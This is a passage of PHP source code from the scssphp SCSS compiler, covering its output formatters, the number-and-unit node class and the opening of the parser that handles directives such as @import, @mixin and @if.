*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter\OutputBlock;
/**
* Expanded formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Expanded extends Formatter
{
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = ' ';
$this->break = "\n";
$this->open = ' {';
$this->close = '}';
$this->tagSeparator = ', ';
$this->assignSeparator = ': ';
$this->keepSemicolons = true;
}
/**
* {@inheritdoc}
*/
protected function indentStr()
{
return str_repeat($this->indentChar, $this->indentLevel);
}
/**
* {@inheritdoc}
*/
protected function blockLines(OutputBlock $block)
{
$inner = $this->indentStr();
$glue = $this->break . $inner;
foreach ($block->lines as $index => $line) {
if (substr($line, 0, 2) === '/*') {
$block->lines[$index] =
preg_replace('/(\r|\n)+/', $glue, $line);
}
}
$this->write($inner . implode($glue, $block->lines));
if (empty($block->selectors) || ! empty($block->children)) {
$this->write($this->break);
}
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter;
use Leafo\ScssPhp\Formatter\OutputBlock;
/**
* Nested formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Nested extends Formatter
{
/**
* @var integer
*/
private $depth;
/**
* {@inheritdoc}
*/
public function __construct()
{
$this->indentLevel = 0;
$this->indentChar = ' ';
$this->break = "\n";
$this->open = ' {';
$this->close = ' }';
$this->tagSeparator = ', ';
$this->assignSeparator = ': ';
$this->keepSemicolons = true;
}
/**
* {@inheritdoc}
*/
protected function indentStr()
{
$n = $this->depth - 1;
return str_repeat($this->indentChar, max($this->indentLevel +
$n, 0));
}
/**
* {@inheritdoc}
*/
protected function blockLines(OutputBlock $block)
{
$inner = $this->indentStr();
$glue = $this->break . $inner;
foreach ($block->lines as $index => $line) {
if (substr($line, 0, 2) === '/*') {
$block->lines[$index] =
preg_replace('/(\r|\n)+/', $glue, $line);
}
}
$this->write($inner . implode($glue, $block->lines));
if (! empty($block->children)) {
$this->write($this->break);
}
}
/**
* {@inheritdoc}
*/
protected function blockSelectors(OutputBlock $block)
{
$inner = $this->indentStr();
$this->write($inner
. implode($this->tagSeparator, $block->selectors)
. $this->open . $this->break);
}
/**
* {@inheritdoc}
*/
protected function blockChildren(OutputBlock $block)
{
foreach ($block->children as $i => $child) {
$this->block($child);
if ($i < count($block->children) - 1) {
$this->write($this->break);
if (isset($block->children[$i + 1])) {
$next = $block->children[$i + 1];
if ($next->depth === max($block->depth, 1)
&& $child->depth >= $next->depth) {
$this->write($this->break);
}
}
}
}
}
/**
* {@inheritdoc}
*/
protected function block(OutputBlock $block)
{
if ($block->type === 'root') {
$this->adjustAllChildren($block);
}
if (empty($block->lines) && empty($block->children))
{
return;
}
$this->currentBlock = $block;
$this->depth = $block->depth;
if (! empty($block->selectors)) {
$this->blockSelectors($block);
$this->indentLevel++;
}
if (! empty($block->lines)) {
$this->blockLines($block);
}
if (! empty($block->children)) {
$this->blockChildren($block);
}
if (! empty($block->selectors)) {
$this->indentLevel--;
$this->write($this->close);
}
if ($block->type === 'root') {
$this->write($this->break);
}
}
/**
* Adjust the depths of all children, depth first
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
private function adjustAllChildren(OutputBlock $block)
{
// flatten empty nested blocks
$children = [];
foreach ($block->children as $i => $child) {
if (empty($child->lines) &&
empty($child->children)) {
if (isset($block->children[$i + 1])) {
$block->children[$i + 1]->depth =
$child->depth;
}
continue;
}
$children[] = $child;
}
$count = count($children);
for ($i = 0; $i < $count; $i++) {
$depth = $children[$i]->depth;
$j = $i + 1;
if (isset($children[$j]) && $depth <
$children[$j]->depth) {
$childDepth = $children[$j]->depth;
for (; $j < $count; $j++) {
if ($depth < $children[$j]->depth &&
$childDepth >= $children[$j]->depth) {
$children[$j]->depth = $depth + 1;
}
}
}
}
$block->children = $children;
// make relative to parent
foreach ($block->children as $child) {
$this->adjustAllChildren($child);
$child->depth = $child->depth - $block->depth;
}
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Formatter;
/**
* Output block
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class OutputBlock
{
/**
* @var string
*/
public $type;
/**
* @var integer
*/
public $depth;
/**
* @var array
*/
public $selectors;
/**
* @var array
*/
public $lines;
/**
* @var array
*/
public $children;
/**
* @var \Leafo\ScssPhp\Formatter\OutputBlock
*/
public $parent;
/**
* @var string
*/
public $sourceName;
/**
* @var integer
*/
public $sourceLine;
/**
* @var integer
*/
public $sourceColumn;
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\SourceMap\SourceMapGenerator;
/**
* Base formatter
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
abstract class Formatter
{
/**
* @var integer
*/
public $indentLevel;
/**
* @var string
*/
public $indentChar;
/**
* @var string
*/
public $break;
/**
* @var string
*/
public $open;
/**
* @var string
*/
public $close;
/**
* @var string
*/
public $tagSeparator;
/**
* @var string
*/
public $assignSeparator;
/**
* @var boolean
*/
public $keepSemicolons;
/**
* @var \Leafo\ScssPhp\Formatter\OutputBlock
*/
protected $currentBlock;
/**
* @var integer
*/
protected $currentLine;
/**
* @var integer
*/
protected $currentColumn;
/**
* @var \Leafo\ScssPhp\SourceMap\SourceMapGenerator
*/
protected $sourceMapGenerator;
/**
* Initialize formatter
*
* @api
*/
abstract public function __construct();
/**
* Return indentation (whitespace)
*
* @return string
*/
protected function indentStr()
{
return '';
}
/**
* Return property assignment
*
* @api
*
* @param string $name
* @param mixed $value
*
* @return string
*/
public function property($name, $value)
{
return rtrim($name) . $this->assignSeparator . $value .
';';
}
/**
* Strip semi-colon appended by property(); it's a separator, not
a terminator
*
* @api
*
* @param array $lines
*/
public function stripSemicolon(&$lines)
{
if ($this->keepSemicolons) {
return;
}
if (($count = count($lines))
&& substr($lines[$count - 1], -1) === ';'
) {
$lines[$count - 1] = substr($lines[$count - 1], 0, -1);
}
}
/**
* Output lines inside a block
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function blockLines(OutputBlock $block)
{
$inner = $this->indentStr();
$glue = $this->break . $inner;
$this->write($inner . implode($glue, $block->lines));
if (! empty($block->children)) {
$this->write($this->break);
}
}
/**
* Output block selectors
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function blockSelectors(OutputBlock $block)
{
$inner = $this->indentStr();
$this->write($inner
. implode($this->tagSeparator, $block->selectors)
. $this->open . $this->break);
}
/**
* Output block children
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function blockChildren(OutputBlock $block)
{
foreach ($block->children as $child) {
$this->block($child);
}
}
/**
* Output non-empty block
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
*/
protected function block(OutputBlock $block)
{
if (empty($block->lines) && empty($block->children))
{
return;
}
$this->currentBlock = $block;
$pre = $this->indentStr();
if (! empty($block->selectors)) {
$this->blockSelectors($block);
$this->indentLevel++;
}
if (! empty($block->lines)) {
$this->blockLines($block);
}
if (! empty($block->children)) {
$this->blockChildren($block);
}
if (! empty($block->selectors)) {
$this->indentLevel--;
if (empty($block->children)) {
$this->write($this->break);
}
$this->write($pre . $this->close . $this->break);
}
}
/**
* Entry point to formatting a block
*
* @api
*
* @param \Leafo\ScssPhp\Formatter\OutputBlock $block
An abstract syntax tree
* @param \Leafo\ScssPhp\SourceMap\SourceMapGenerator|null
$sourceMapGenerator Optional source map generator
*
* @return string
*/
public function format(OutputBlock $block, SourceMapGenerator
$sourceMapGenerator = null)
{
$this->sourceMapGenerator = null;
if ($sourceMapGenerator) {
$this->currentLine = 1;
$this->currentColumn = 0;
$this->sourceMapGenerator = $sourceMapGenerator;
}
ob_start();
$this->block($block);
$out = ob_get_clean();
return $out;
}
/**
* @param string $str
*/
protected function write($str)
{
if ($this->sourceMapGenerator) {
$this->sourceMapGenerator->addMapping(
$this->currentLine,
$this->currentColumn,
$this->currentBlock->sourceLine,
//columns from parser are off by one
$this->currentBlock->sourceColumn > 0 ?
$this->currentBlock->sourceColumn - 1 : 0,
$this->currentBlock->sourceName
);
$lines = explode("\n", $str);
$lineCount = count($lines);
$this->currentLine += $lineCount-1;
$lastLine = array_pop($lines);
$this->currentColumn = ($lineCount === 1 ?
$this->currentColumn : 0) + strlen($lastLine);
}
echo $str;
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp\Node;
use Leafo\ScssPhp\Compiler;
use Leafo\ScssPhp\Node;
use Leafo\ScssPhp\Type;
/**
* Dimension + optional units
*
* {@internal
* This is a work-in-progress.
*
* The \ArrayAccess interface is temporary until the migration is
complete.
* }}
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
class Number extends Node implements \ArrayAccess
{
/**
* @var integer
*/
static public $precision = 10;
/**
* @see http://www.w3.org/TR/2012/WD-css3-values-20120308/
*
* @var array
*/
static protected $unitTable = [
'in' => [
'in' => 1,
'pc' => 6,
'pt' => 72,
'px' => 96,
'cm' => 2.54,
'mm' => 25.4,
'q' => 101.6,
],
'turn' => [
'deg' => 360,
'grad' => 400,
'rad' => 6.28318530717958647692528676, // 2 *
M_PI
'turn' => 1,
],
's' => [
's' => 1,
'ms' => 1000,
],
'Hz' => [
'Hz' => 1,
'kHz' => 0.001,
],
'dpi' => [
'dpi' => 1,
'dpcm' => 2.54,
'dppx' => 96,
],
];
/**
* @var integer|float
*/
public $dimension;
/**
* @var array
*/
public $units;
/**
* Initialize number
*
* @param mixed $dimension
* @param mixed $initialUnit
*/
public function __construct($dimension, $initialUnit)
{
$this->type = Type::T_NUMBER;
$this->dimension = $dimension;
$this->units = is_array($initialUnit)
? $initialUnit
: ($initialUnit ? [$initialUnit => 1]
: []);
}
/**
* Coerce number to target units
*
* @param array $units
*
* @return \Leafo\ScssPhp\Node\Number
*/
public function coerce($units)
{
if ($this->unitless()) {
return new Number($this->dimension, $units);
}
$dimension = $this->dimension;
foreach (static::$unitTable['in'] as $unit => $conv) {
$from = isset($this->units[$unit]) ?
$this->units[$unit] : 0;
$to = isset($units[$unit]) ? $units[$unit] : 0;
$factor = pow($conv, $from - $to);
$dimension /= $factor;
}
return new Number($dimension, $units);
}
/**
* Normalize number
*
* @return \Leafo\ScssPhp\Node\Number
*/
public function normalize()
{
$dimension = $this->dimension;
$units = [];
$this->normalizeUnits($dimension, $units, 'in');
return new Number($dimension, $units);
}
/**
* {@inheritdoc}
*/
public function offsetExists($offset)
{
if ($offset === -3) {
return $this->sourceColumn !== null;
}
if ($offset === -2) {
return $this->sourceLine !== null;
}
if ($offset === -1
|| $offset === 0
|| $offset === 1
|| $offset === 2
) {
return true;
}
return false;
}
/**
* {@inheritdoc}
*/
public function offsetGet($offset)
{
switch ($offset) {
case -3:
return $this->sourceColumn;
case -2:
return $this->sourceLine;
case -1:
return $this->sourceIndex;
case 0:
return $this->type;
case 1:
return $this->dimension;
case 2:
return $this->units;
}
}
/**
* {@inheritdoc}
*/
public function offsetSet($offset, $value)
{
if ($offset === 1) {
$this->dimension = $value;
} elseif ($offset === 2) {
$this->units = $value;
} elseif ($offset == -1) {
$this->sourceIndex = $value;
} elseif ($offset == -2) {
$this->sourceLine = $value;
} elseif ($offset == -3) {
$this->sourceColumn = $value;
}
}
/**
* {@inheritdoc}
*/
public function offsetUnset($offset)
{
if ($offset === 1) {
$this->dimension = null;
} elseif ($offset === 2) {
$this->units = null;
} elseif ($offset === -1) {
$this->sourceIndex = null;
} elseif ($offset === -2) {
$this->sourceLine = null;
} elseif ($offset === -3) {
$this->sourceColumn = null;
}
}
/**
* Returns true if the number is unitless
*
* @return boolean
*/
public function unitless()
{
return ! array_sum($this->units);
}
/**
* Returns unit(s) as the product of numerator units divided by the
product of denominator units
*
* @return string
*/
public function unitStr()
{
$numerators = [];
$denominators = [];
foreach ($this->units as $unit => $unitSize) {
if ($unitSize > 0) {
$numerators = array_pad($numerators, count($numerators) +
$unitSize, $unit);
continue;
}
if ($unitSize < 0) {
$denominators = array_pad($denominators,
count($denominators) + $unitSize, $unit);
continue;
}
}
return implode('*', $numerators) . (count($denominators)
? '/' . implode('*', $denominators) : '');
}
/**
* Output number
*
* @param \Leafo\ScssPhp\Compiler $compiler
*
* @return string
*/
public function output(Compiler $compiler = null)
{
$dimension = round($this->dimension, static::$precision);
$units = array_filter($this->units, function ($unitSize) {
return $unitSize;
});
if (count($units) > 1 && array_sum($units) === 0) {
$dimension = $this->dimension;
$units = [];
$this->normalizeUnits($dimension, $units, 'in');
$dimension = round($dimension, static::$precision);
$units = array_filter($units, function ($unitSize) {
return $unitSize;
});
}
$unitSize = array_sum($units);
if ($compiler && ($unitSize > 1 || $unitSize < 0 ||
count($units) > 1)) {
$compiler->throwError((string) $dimension .
$this->unitStr() . " isn't a valid CSS value.");
}
reset($units);
$unit = key($units);
$dimension = number_format($dimension, static::$precision,
'.', '');
return (static::$precision ? rtrim(rtrim($dimension,
'0'), '.') : $dimension) . $unit;
}
/**
* {@inheritdoc}
*/
public function __toString()
{
return $this->output();
}
/**
* Normalize units
*
* @param integer|float $dimension
* @param array $units
* @param string $baseUnit
*/
private function normalizeUnits(&$dimension, &$units, $baseUnit
= 'in')
{
$dimension = $this->dimension;
$units = [];
foreach ($this->units as $unit => $exp) {
if (isset(static::$unitTable[$baseUnit][$unit])) {
$factor = pow(static::$unitTable[$baseUnit][$unit], $exp);
$unit = $baseUnit;
$dimension /= $factor;
}
$units[$unit] = $exp + (isset($units[$unit]) ? $units[$unit] :
0);
}
}
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
/**
* Base node
*
* @author Anthon Pang <anthon.pang@gmail.com>
*/
abstract class Node
{
/**
* @var string
*/
public $type;
/**
* @var integer
*/
public $sourceIndex;
/**
* @var integer
*/
public $sourceLine;
/**
* @var integer
*/
public $sourceColumn;
}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Block;
use Leafo\ScssPhp\Cache;
use Leafo\ScssPhp\Compiler;
use Leafo\ScssPhp\Exception\ParserException;
use Leafo\ScssPhp\Node;
use Leafo\ScssPhp\Type;
/**
* Parser
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Parser
{
const SOURCE_INDEX = -1;
const SOURCE_LINE = -2;
const SOURCE_COLUMN = -3;
/**
* @var array
*/
protected static $precedence = [
'=' => 0,
'or' => 1,
'and' => 2,
'==' => 3,
'!=' => 3,
'<=>' => 3,
'<=' => 4,
'>=' => 4,
'<' => 4,
'>' => 4,
'+' => 5,
'-' => 5,
'*' => 6,
'/' => 6,
'%' => 6,
];
protected static $commentPattern;
protected static $operatorPattern;
protected static $whitePattern;
protected $cache;
private $sourceName;
private $sourceIndex;
private $sourcePositions;
private $charset;
private $count;
private $env;
private $inParens;
private $eatWhiteDefault;
private $buffer;
private $utf8;
private $encoding;
private $patternModifiers;
private $commentsSeen;
/**
* Constructor
*
* @api
*
* @param string $sourceName
* @param integer $sourceIndex
* @param string $encoding
* @param \Leafo\ScssPhp\Cache $cache
*/
public function __construct($sourceName, $sourceIndex = 0, $encoding =
'utf-8', $cache = null)
{
$this->sourceName = $sourceName ?: '(stdin)';
$this->sourceIndex = $sourceIndex;
$this->charset = null;
$this->utf8 = ! $encoding || strtolower($encoding)
=== 'utf-8';
$this->patternModifiers = $this->utf8 ? 'Aisu' :
'Ais';
$this->commentsSeen = [];
if (empty(static::$operatorPattern)) {
static::$operatorPattern =
'([*\/%+-]|[!=]\=|\>\=?|\<\=\>|\<\=?|and|or)';
$commentSingle = '\/\/';
$commentMultiLeft = '\/\*';
$commentMultiRight = '\*\/';
static::$commentPattern = $commentMultiLeft . '.*?' .
$commentMultiRight;
static::$whitePattern = $this->utf8
? '/' . $commentSingle . '[^\n]*\s*|('
. static::$commentPattern . ')\s*|\s+/AisuS'
: '/' . $commentSingle . '[^\n]*\s*|('
. static::$commentPattern . ')\s*|\s+/AisS';
}
if ($cache) {
$this->cache = $cache;
}
}
/**
* Get source file name
*
* @api
*
* @return string
*/
public function getSourceName()
{
return $this->sourceName;
}
/**
* Throw parser error
*
* @api
*
* @param string $msg
*
* @throws \Leafo\ScssPhp\Exception\ParserException
*/
public function throwParseError($msg = 'parse error')
{
list($line, $column) =
$this->getSourcePosition($this->count);
$loc = empty($this->sourceName)
? "line: $line, column: $column"
: "$this->sourceName on line $line, at column
$column";
if ($this->peek("(.*?)(\n|$)", $m, $this->count)) {
throw new ParserException("$msg: failed at `$m[1]`
$loc");
}
throw new ParserException("$msg: $loc");
}
/**
* Parser buffer
*
* @api
*
* @param string $buffer
*
* @return \Leafo\ScssPhp\Block
*/
public function parse($buffer)
{
if ($this->cache) {
$cacheKey = $this->sourceName . ":" .
md5($buffer);
$parseOptions = [
'charset' => $this->charset,
'utf8' => $this->utf8,
];
$v = $this->cache->getCache("parse", $cacheKey,
$parseOptions);
if (! is_null($v)) {
return $v;
}
}
// strip BOM (byte order marker)
if (substr($buffer, 0, 3) === "\xef\xbb\xbf") {
$buffer = substr($buffer, 3);
}
$this->buffer = rtrim($buffer, "\x00..\x1f");
$this->count = 0;
$this->env = null;
$this->inParens = false;
$this->eatWhiteDefault = true;
$this->saveEncoding();
$this->extractLineNumbers($buffer);
$this->pushBlock(null); // root block
$this->whitespace();
$this->pushBlock(null);
$this->popBlock();
while ($this->parseChunk()) {
;
}
if ($this->count !== strlen($this->buffer)) {
$this->throwParseError();
}
if (! empty($this->env->parent)) {
$this->throwParseError('unclosed block');
}
if ($this->charset) {
array_unshift($this->env->children, $this->charset);
}
$this->restoreEncoding();
if ($this->cache) {
$this->cache->setCache("parse", $cacheKey,
$this->env, $parseOptions);
}
return $this->env;
}
/**
* Parse a value or value list
*
* @api
*
* @param string $buffer
* @param string $out
*
* @return boolean
*/
public function parseValue($buffer, &$out)
{
$this->count = 0;
$this->env = null;
$this->inParens = false;
$this->eatWhiteDefault = true;
$this->buffer = (string) $buffer;
$this->saveEncoding();
$list = $this->valueList($out);
$this->restoreEncoding();
return $list;
}
/**
* Parse a selector or selector list
*
* @api
*
* @param string $buffer
* @param string $out
*
* @return boolean
*/
public function parseSelector($buffer, &$out)
{
$this->count = 0;
$this->env = null;
$this->inParens = false;
$this->eatWhiteDefault = true;
$this->buffer = (string) $buffer;
$this->saveEncoding();
$selector = $this->selectors($out);
$this->restoreEncoding();
return $selector;
}
/**
* Parse a single chunk off the head of the buffer and append it to the
* current parse environment.
*
* Returns false when the buffer is empty, or when there is an error.
*
* This function is called repeatedly until the entire document is
* parsed.
*
* This parser is most similar to a recursive descent parser. Single
* functions represent discrete grammatical rules for the language, and
* they are able to capture the text that represents those rules.
*
* Consider the function Compiler::keyword(). (All parse functions are
* structured the same.)
*
* The function takes a single reference argument. When calling the
* function it will attempt to match a keyword on the head of the
buffer.
* If it is successful, it will place the keyword in the referenced
* argument, advance the position in the buffer, and return true. If it
* fails then it won't advance the buffer and it will return
false.
*
* All of these parse functions are powered by Compiler::match(), which
behaves
* the same way, but takes a literal regular expression. Sometimes it
is
* more convenient to use match instead of creating a new function.
*
* Because of the format of the functions, to parse an entire string of
* grammatical rules, you can chain them together using &&.
*
* But, if some of the rules in the chain succeed before one fails,
then
* the buffer position will be left at an invalid state. In order to
* avoid this, Compiler::seek() is used to remember and set buffer
positions.
*
* Before parsing a chain, use $s = $this->count to remember the
current
* position into $s. Then if a chain fails, use $this->seek($s) to
* go back where we started.
*
* @return boolean
*/
protected function parseChunk()
{
$s = $this->count;
// the directives
if (isset($this->buffer[$this->count]) &&
$this->buffer[$this->count] === '@') {
if ($this->literal('@at-root', 8) &&
($this->selectors($selector) || true) &&
($this->map($with) || true) &&
$this->matchChar('{')
) {
$atRoot = $this->pushSpecialBlock(Type::T_AT_ROOT, $s);
$atRoot->selector = $selector;
$atRoot->with = $with;
return true;
}
$this->seek($s);
if ($this->literal('@media', 6) &&
$this->mediaQueryList($mediaQueryList) &&
$this->matchChar('{')) {
$media = $this->pushSpecialBlock(Type::T_MEDIA, $s);
$media->queryList = $mediaQueryList[2];
return true;
}
$this->seek($s);
if ($this->literal('@mixin', 6) &&
$this->keyword($mixinName) &&
($this->argumentDef($args) || true) &&
$this->matchChar('{')
) {
$mixin = $this->pushSpecialBlock(Type::T_MIXIN, $s);
$mixin->name = $mixinName;
$mixin->args = $args;
return true;
}
$this->seek($s);
if ($this->literal('@include', 8) &&
$this->keyword($mixinName) &&
($this->matchChar('(') &&
($this->argValues($argValues) || true) &&
$this->matchChar(')') || true) &&
($this->end() ||
$this->matchChar('{') && $hasBlock
= true)
) {
$child = [Type::T_INCLUDE, $mixinName, isset($argValues) ?
$argValues : null, null];
if (! empty($hasBlock)) {
$include = $this->pushSpecialBlock(Type::T_INCLUDE,
$s);
$include->child = $child;
} else {
$this->append($child, $s);
}
return true;
}
$this->seek($s);
if ($this->literal('@scssphp-import-once', 20)
&&
$this->valueList($importPath) &&
$this->end()
) {
$this->append([Type::T_SCSSPHP_IMPORT_ONCE,
$importPath], $s);
return true;
}
$this->seek($s);
if ($this->literal('@import', 7) &&
$this->valueList($importPath) &&
$this->end()
) {
$this->append([Type::T_IMPORT, $importPath], $s);
return true;
}
$this->seek($s);
if ($this->literal('@import', 7) &&
$this->url($importPath) &&
$this->end()
) {
$this->append([Type::T_IMPORT, $importPath], $s);
return true;
}
$this->seek($s);
if ($this->literal('@extend', 7) &&
$this->selectors($selectors) &&
$this->end()
) {
// check for '!flag'
$optional = $this->stripOptionalFlag($selectors);
$this->append([Type::T_EXTEND, $selectors, $optional],
$s);
return true;
}
$this->seek($s);
if ($this->literal('@function', 9) &&
$this->keyword($fnName) &&
$this->argumentDef($args) &&
$this->matchChar('{')
) {
$func = $this->pushSpecialBlock(Type::T_FUNCTION, $s);
$func->name = $fnName;
$func->args = $args;
return true;
}
$this->seek($s);
if ($this->literal('@break', 6) &&
$this->end()) {
$this->append([Type::T_BREAK], $s);
return true;
}
$this->seek($s);
if ($this->literal('@continue', 9) &&
$this->end()) {
$this->append([Type::T_CONTINUE], $s);
return true;
}
$this->seek($s);
if ($this->literal('@return', 7) &&
($this->valueList($retVal) || true) && $this->end()) {
$this->append([Type::T_RETURN, isset($retVal) ? $retVal
: [Type::T_NULL]], $s);
return true;
}
$this->seek($s);
if ($this->literal('@each', 5) &&
$this->genericList($varNames, 'variable',
',', false) &&
$this->literal('in', 2) &&
$this->valueList($list) &&
$this->matchChar('{')
) {
$each = $this->pushSpecialBlock(Type::T_EACH, $s);
foreach ($varNames[2] as $varName) {
$each->vars[] = $varName[1];
}
$each->list = $list;
return true;
}
$this->seek($s);
if ($this->literal('@while', 6) &&
$this->expression($cond) &&
$this->matchChar('{')
) {
$while = $this->pushSpecialBlock(Type::T_WHILE, $s);
$while->cond = $cond;
return true;
}
$this->seek($s);
if ($this->literal('@for', 4) &&
$this->variable($varName) &&
$this->literal('from', 4) &&
$this->expression($start) &&
($this->literal('through', 7) ||
($forUntil = true &&
$this->literal('to', 2))) &&
$this->expression($end) &&
$this->matchChar('{')
) {
$for = $this->pushSpecialBlock(Type::T_FOR, $s);
$for->var = $varName[1];
$for->start = $start;
$for->end = $end;
$for->until = isset($forUntil);
return true;
}
$this->seek($s);
if ($this->literal('@if', 3) &&
$this->valueList($cond) && $this->matchChar('{')) {
$if = $this->pushSpecialBlock(Type::T_IF, $s);
$if->cond = $cond;
$if->cases = [];
return true;
}
$this->seek($s);
if ($this->literal('@debug', 6) &&
$this->valueList($value) &&
$this->end()
) {
$this->append([Type::T_DEBUG, $value], $s);
return true;
}
$this->seek($s);
if ($this->literal('@warn', 5) &&
$this->valueList($value) &&
$this->end()
) {
$this->append([Type::T_WARN, $value], $s);
return true;
}
$this->seek($s);
if ($this->literal('@error', 6) &&
$this->valueList($value) &&
$this->end()
) {
$this->append([Type::T_ERROR, $value], $s);
return true;
}
$this->seek($s);
if ($this->literal('@content', 8) &&
$this->end()) {
$this->append([Type::T_MIXIN_CONTENT], $s);
return true;
}
$this->seek($s);
$last = $this->last();
if (isset($last) && $last[0] === Type::T_IF) {
list(, $if) = $last;
if ($this->literal('@else', 5)) {
if ($this->matchChar('{')) {
$else = $this->pushSpecialBlock(Type::T_ELSE,
$s);
} elseif ($this->literal('if', 2)
&& $this->valueList($cond) &&
$this->matchChar('{')) {
$else = $this->pushSpecialBlock(Type::T_ELSEIF,
$s);
$else->cond = $cond;
}
if (isset($else)) {
$else->dontAppend = true;
$if->cases[] = $else;
return true;
}
}
$this->seek($s);
}
// only retain the first @charset directive encountered
if ($this->literal('@charset', 8) &&
$this->valueList($charset) &&
$this->end()
) {
if (! isset($this->charset)) {
$statement = [Type::T_CHARSET, $charset];
list($line, $column) = $this->getSourcePosition($s);
$statement[static::SOURCE_LINE] = $line;
$statement[static::SOURCE_COLUMN] = $column;
$statement[static::SOURCE_INDEX] =
$this->sourceIndex;
$this->charset = $statement;
}
return true;
}
$this->seek($s);
// doesn't match built in directive, do generic one
if ($this->matchChar('@', false) &&
$this->keyword($dirName) &&
($this->variable($dirValue) ||
$this->openString('{', $dirValue) || true) &&
$this->matchChar('{')
) {
if ($dirName === 'media') {
$directive = $this->pushSpecialBlock(Type::T_MEDIA,
$s);
} else {
$directive =
$this->pushSpecialBlock(Type::T_DIRECTIVE, $s);
$directive->name = $dirName;
}
if (isset($dirValue)) {
$directive->value = $dirValue;
}
return true;
}
$this->seek($s);
return false;
}
// property shortcut
// captures most properties before having to parse a selector
if ($this->keyword($name, false) &&
$this->literal(': ', 2) &&
$this->valueList($value) &&
$this->end()
) {
$name = [Type::T_STRING, '', [$name]];
$this->append([Type::T_ASSIGN, $name, $value], $s);
return true;
}
$this->seek($s);
// variable assigns
if ($this->variable($name) &&
$this->matchChar(':') &&
$this->valueList($value) &&
$this->end()
) {
// check for '!flag'
$assignmentFlags = $this->stripAssignmentFlags($value);
$this->append([Type::T_ASSIGN, $name, $value,
$assignmentFlags], $s);
return true;
}
$this->seek($s);
// misc
if ($this->literal('-->', 3)) {
return true;
}
// opening css block
if ($this->selectors($selectors) &&
$this->matchChar('{', false)) {
$this->pushBlock($selectors, $s);
if ($this->eatWhiteDefault) {
$this->whitespace();
$this->append(null); // collect comments at the begining
if needed
}
return true;
}
$this->seek($s);
// property assign, or nested assign
if ($this->propertyName($name) &&
$this->matchChar(':')) {
$foundSomething = false;
if ($this->valueList($value)) {
if (empty($this->env->parent)) {
$this->throwParseError('expected
"{"');
}
$this->append([Type::T_ASSIGN, $name, $value], $s);
$foundSomething = true;
}
if ($this->matchChar('{')) {
$propBlock =
$this->pushSpecialBlock(Type::T_NESTED_PROPERTY, $s);
$propBlock->prefix = $name;
$foundSomething = true;
} elseif ($foundSomething) {
$foundSomething = $this->end();
}
if ($foundSomething) {
return true;
}
}
$this->seek($s);
// closing a block
if ($this->matchChar('}')) {
$block = $this->popBlock();
if (isset($block->type) && $block->type ===
Type::T_INCLUDE) {
$include = $block->child;
unset($block->child);
$include[3] = $block;
$this->append($include, $s);
} elseif (empty($block->dontAppend)) {
$type = isset($block->type) ? $block->type :
Type::T_BLOCK;
$this->append([$type, $block], $s);
}
return true;
}
// extra stuff
if ($this->matchChar(';') ||
$this->literal('<!--', 4)
) {
return true;
}
return false;
}
/**
* Push block onto parse tree
*
* @param array $selectors
* @param integer $pos
*
* @return \Leafo\ScssPhp\Block
*/
protected function pushBlock($selectors, $pos = 0)
{
list($line, $column) = $this->getSourcePosition($pos);
$b = new Block;
$b->sourceName = $this->sourceName;
$b->sourceLine = $line;
$b->sourceColumn = $column;
$b->sourceIndex = $this->sourceIndex;
$b->selectors = $selectors;
$b->comments = [];
$b->parent = $this->env;
if (! $this->env) {
$b->children = [];
} elseif (empty($this->env->children)) {
$this->env->children = $this->env->comments;
$b->children = [];
$this->env->comments = [];
} else {
$b->children = $this->env->comments;
$this->env->comments = [];
}
$this->env = $b;
return $b;
}
/**
* Push special (named) block onto parse tree
*
* @param string $type
* @param integer $pos
*
* @return \Leafo\ScssPhp\Block
*/
protected function pushSpecialBlock($type, $pos)
{
$block = $this->pushBlock(null, $pos);
$block->type = $type;
return $block;
}
/**
* Pop scope and return last block
*
* @return \Leafo\ScssPhp\Block
*
* @throws \Exception
*/
protected function popBlock()
{
$block = $this->env;
if (empty($block->parent)) {
$this->throwParseError('unexpected }');
}
if ($block->type == Type::T_AT_ROOT) {
// keeps the parent in case of self selector &
$block->selfParent = $block->parent;
}
$this->env = $block->parent;
unset($block->parent);
$comments = $block->comments;
if ($comments) {
$this->env->comments = $comments;
unset($block->comments);
}
return $block;
}
/**
* Peek input stream
*
* @param string $regex
* @param array $out
* @param integer $from
*
* @return integer
